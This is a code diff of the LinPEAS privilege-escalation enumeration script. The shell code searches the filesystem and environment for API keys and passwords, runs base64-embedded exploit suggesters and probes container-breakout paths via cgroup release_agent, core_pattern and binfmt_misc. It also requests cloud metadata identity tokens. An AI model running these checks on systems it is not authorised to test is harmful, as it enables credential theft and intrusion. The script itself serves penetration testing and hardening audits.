timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
else
|
||||
# Search in home direcoties (usually the slowest)
|
||||
timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in etc
|
||||
timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in opt
|
||||
timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in possible web folders (usually only 1 will exist)
|
||||
timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in logs
|
||||
timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in backups
|
||||
timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in others folders (usually only /srv or /Applications will exist)
|
||||
timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
fi
|
||||
wait
|
||||
printf "\033[2K\r"
|
||||
}
|
||||
|
||||
|
||||
|
||||
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
|
||||
peass{REGEXES}
|
||||
else
|
||||
echo "Regexes to search for API keys aren't activated, use param '-r' "
|
||||
fi
|
||||
@@ -21,42 +21,6 @@ else echo_not_found "sudo"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- SY) CVEs
|
||||
print_2title "CVEs Check"
|
||||
|
||||
#-- SY) CVE-2021-4034
|
||||
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
|
||||
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) CVE-2021-3560
|
||||
polkitVersion=$(systemctl status polkit.service 2>/dev/null | grep version | cut -d " " -f 9)
|
||||
if [ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 ] || [ "$(yum list installed 2>/dev/null | grep polkit | grep -c 0.117-2)" -ge 1 ]; then
|
||||
echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) CVE-2022-0847
|
||||
#-- https://dirtypipe.cm4all.com/
|
||||
#-- https://stackoverflow.com/a/37939589
|
||||
kernelversion=$(uname -r | awk -F"-" '{print $1}')
|
||||
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
|
||||
if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version between 5.8 and 5.17
|
||||
echo "Potentially Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) CVE-2022-2588
|
||||
#-- https://github.com/Markakd/CVE-2022-2588
|
||||
kernelversion=$(uname -r | awk -F"-" '{print $1}')
|
||||
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
|
||||
if [ $kernelnumber -ge 3017000000 ] && [ $kernelnumber -lt 5019000000 ]; then # if kernel version between 3.17 and 5.19
|
||||
echo "Potentially Vulnerable to CVE-2022-2588" | sed -${E} "s,.*,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#--SY) USBCreator
|
||||
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
|
||||
print_2title "USBCreator"
|
||||
@@ -83,9 +47,10 @@ print_2title "PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
||||
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g"
|
||||
else
|
||||
echo "New path exported: $PATH" 2>/dev/null
|
||||
fi
|
||||
|
||||
if [ "$DEBUG" ]; then
|
||||
echo "New path exported: $PATH"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
@@ -134,141 +99,3 @@ if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
|
||||
warn_exec smbutil statshares -a
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Environment vars
|
||||
print_2title "Environment"
|
||||
print_info "Any private information inside environment variables?"
|
||||
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
|
||||
echo ""
|
||||
|
||||
#-- SY) Dmesg
|
||||
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching Signature verification failed in dmesg"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
|
||||
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Kernel extensions
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Kernel Extensions not belonging to apple"
|
||||
kextstat 2>/dev/null | grep -Ev " com.apple."
|
||||
|
||||
print_2title "Unsigned Kernel Extensions"
|
||||
macosNotSigned /Library/Extensions
|
||||
macosNotSigned /System/Library/Extensions
|
||||
fi
|
||||
|
||||
if [ "$(command -v bash 2>/dev/null)" ]; then
|
||||
print_2title "Executing Linux Exploit Suggester"
|
||||
print_info "https://github.com/mzet-/linux-exploit-suggester"
|
||||
les_b64="peass{LES}"
|
||||
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$(command -v perl 2>/dev/null)" ]; then
|
||||
print_2title "Executing Linux Exploit Suggester 2"
|
||||
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
|
||||
les2_b64="peass{LES2}"
|
||||
echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
|
||||
print_2title "Brew Doctor Suggestions"
|
||||
brew doctor
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
#-- SY) AppArmor
|
||||
print_2title "Protections"
|
||||
print_list "AppArmor enabled? .............. "$NC
|
||||
if [ "$(command -v aa-status 2>/dev/null)" ]; then
|
||||
aa-status 2>&1 | sed "s,disabled,${SED_RED},"
|
||||
elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
|
||||
apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
|
||||
elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
|
||||
ls -d /etc/apparmor*
|
||||
else
|
||||
echo_not_found "AppArmor"
|
||||
fi
|
||||
|
||||
#-- SY) grsecurity
|
||||
print_list "grsecurity present? ............ "$NC
|
||||
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
|
||||
|
||||
#-- SY) PaX
|
||||
print_list "PaX bins present? .............. "$NC
|
||||
(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
|
||||
|
||||
#-- SY) Execshield
|
||||
print_list "Execshield enabled? ............ "$NC
|
||||
(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
|
||||
|
||||
#-- SY) SElinux
|
||||
print_list "SELinux enabled? ............... "$NC
|
||||
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
||||
|
||||
#-- SY) Seccomp
|
||||
print_list "Seccomp enabled? ............... "$NC
|
||||
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
||||
|
||||
#-- SY) AppArmor
|
||||
print_list "AppArmor profile? .............. "$NC
|
||||
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
||||
|
||||
#-- SY) AppArmor
|
||||
print_list "User namespace? ................ "$NC
|
||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
||||
|
||||
#-- SY) cgroup2
|
||||
print_list "Cgroup2 enabled? ............... "$NC
|
||||
([ "$(grep cgroup2 /proc/filesystems)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
|
||||
|
||||
#-- SY) Gatekeeper
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_list "Gatekeeper enabled? .......... "$NC
|
||||
(spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
||||
|
||||
print_list "sleepimage encrypted? ........ "$NC
|
||||
(sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
|
||||
|
||||
print_list "XProtect? .................... "$NC
|
||||
(system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
|
||||
|
||||
print_list "SIP enabled? ................. "$NC
|
||||
csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
|
||||
|
||||
print_list "Connected to JAMF? ........... "$NC
|
||||
warn_exec jamf checkJSSConnection
|
||||
|
||||
print_list "Connected to AD? ............. "$NC
|
||||
dsconfigad -show && echo "" || echo_no
|
||||
fi
|
||||
|
||||
#-- SY) ASLR
|
||||
print_list "Is ASLR enabled? ............... "$NC
|
||||
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
|
||||
if [ -z "$ASLR" ]; then
|
||||
echo_not_found "/proc/sys/kernel/randomize_va_space";
|
||||
else
|
||||
if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Printer
|
||||
print_list "Printer? ....................... "$NC
|
||||
(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
|
||||
|
||||
#-- SY) Running in a virtual environment
|
||||
print_list "Is this a virtual machine? ..... "$NC
|
||||
hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
|
||||
if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
|
||||
detectedvirt=$(systemd-detect-virt)
|
||||
if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
|
||||
else
|
||||
if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
|
||||
fi
|
||||
|
||||
@@ -137,16 +137,58 @@ checkContainerExploits() {
|
||||
fi
|
||||
}
|
||||
|
||||
checkProcSysBreakouts(){
|
||||
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes"; else release_agent_breakout1="No"; fi
|
||||
checkCreateReleaseAgent(){
|
||||
cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
|
||||
do
|
||||
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
|
||||
release_agent_breakout2="Yes (unshare with $subsys)";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
break
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
checkProcSysBreakouts(){
|
||||
dev_mounted="No"
|
||||
if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
|
||||
dev_mounted="Yes";
|
||||
fi
|
||||
|
||||
proc_mounted="No"
|
||||
if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
|
||||
proc_mounted="Yes";
|
||||
fi
|
||||
|
||||
run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
|
||||
if ! [ "$run_unshare" = "Yes" ]; then
|
||||
run_unshare="No"
|
||||
fi
|
||||
|
||||
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
|
||||
release_agent_breakout1="Yes"
|
||||
else
|
||||
release_agent_breakout1="No"
|
||||
fi
|
||||
|
||||
release_agent_breakout2="No"
|
||||
mkdir /tmp/cgroup_3628d4
|
||||
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||
if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; else release_agent_breakout2="No"; fi
|
||||
if [ $? -eq 0 ]; then
|
||||
release_agent_breakout2="Yes";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
else
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
release_agent_breakout2="Yes";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
else
|
||||
checkCreateReleaseAgent
|
||||
fi
|
||||
fi
|
||||
rm -rf /tmp/cgroup_3628d4 2>/dev/null
|
||||
|
||||
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
|
||||
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` || echo No)"
|
||||
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
|
||||
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
|
||||
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
|
||||
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
|
||||
@@ -176,7 +218,7 @@ checkProcSysBreakouts(){
|
||||
##############################################
|
||||
containerCheck
|
||||
|
||||
print_2title "Container related tools present"
|
||||
print_2title "Container related tools present (if any):"
|
||||
command -v docker
|
||||
command -v lxc
|
||||
command -v rkt
|
||||
@@ -184,8 +226,10 @@ command -v kubectl
|
||||
command -v podman
|
||||
command -v runc
|
||||
|
||||
print_2title "Am I Containered?"
|
||||
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
|
||||
if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
|
||||
print_2title "Am I Containered?"
|
||||
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
|
||||
fi
|
||||
|
||||
print_2title "Container details"
|
||||
print_list "Is this a container? ...........$NC $containerType"
|
||||
@@ -218,7 +262,7 @@ if echo "$containerType" | grep -qi "docker"; then
|
||||
print_2title "Docker Container details"
|
||||
inDockerGroup
|
||||
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "Looking and enumerating Docker Sockets\n"$NC
|
||||
print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
|
||||
enumerateDockerSockets
|
||||
print_list "Docker version .................$NC$dockerVersion"
|
||||
checkDockerVersionExploits
|
||||
@@ -226,7 +270,7 @@ if echo "$containerType" | grep -qi "docker"; then
|
||||
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
if [ "$inContainer" ]; then
|
||||
checkDockerRootless
|
||||
print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
|
||||
print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
|
||||
echo ""
|
||||
fi
|
||||
if df -h | grep docker; then
|
||||
@@ -258,8 +302,8 @@ if [ "$inContainer" ]; then
|
||||
echo ""
|
||||
print_2title "Container & breakout enumeration"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
|
||||
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')"
|
||||
if echo "$containerType" | grep -qi "docker"; then
|
||||
print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
|
||||
if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
|
||||
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
|
||||
fi
|
||||
print_list "Seccomp enabled? ............... "$NC
|
||||
@@ -269,7 +313,7 @@ if [ "$inContainer" ]; then
|
||||
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
||||
|
||||
print_list "User proc namespace? ........... "$NC
|
||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
||||
|
||||
checkContainerExploits
|
||||
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
@@ -278,33 +322,35 @@ if [ "$inContainer" ]; then
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
|
||||
|
||||
checkProcSysBreakouts
|
||||
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
|
||||
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
@@ -344,7 +390,9 @@ if [ "$inContainer" ]; then
|
||||
if [ "$(command -v capsh)" ]; then
|
||||
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
|
||||
else
|
||||
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
|
||||
defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
|
||||
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
|
||||
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
@@ -7,7 +7,10 @@ GCP_BAD_SCOPES="/cloud-platform|/compute"
|
||||
|
||||
exec_with_jq(){
|
||||
if [ "$(command -v jq)" ]; then
|
||||
$@ | jq;
|
||||
$@ | jq 2>/dev/null;
|
||||
if ! [ $? -eq 0 ]; then
|
||||
$@;
|
||||
fi
|
||||
else
|
||||
$@;
|
||||
fi
|
||||
@@ -20,6 +23,24 @@ check_gcp(){
|
||||
fi
|
||||
}
|
||||
|
||||
check_do(){
|
||||
is_do="No"
|
||||
if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
|
||||
is_do="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_ibm_vm(){
|
||||
is_ibm_vm="No"
|
||||
if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
|
||||
curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
|
||||
if [ "$?" -eq 0 ]; then
|
||||
IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
|
||||
is_ibm_vm="Yes"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_ecs(){
|
||||
is_aws_ecs="No"
|
||||
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
|
||||
@@ -34,11 +55,6 @@ check_aws_ecs(){
|
||||
|
||||
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
|
||||
is_aws_ecs="Yes";
|
||||
|
||||
|
||||
elif (curl --connect-timeout 2 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
|
||||
is_aws_ecs="Yes";
|
||||
|
||||
fi
|
||||
|
||||
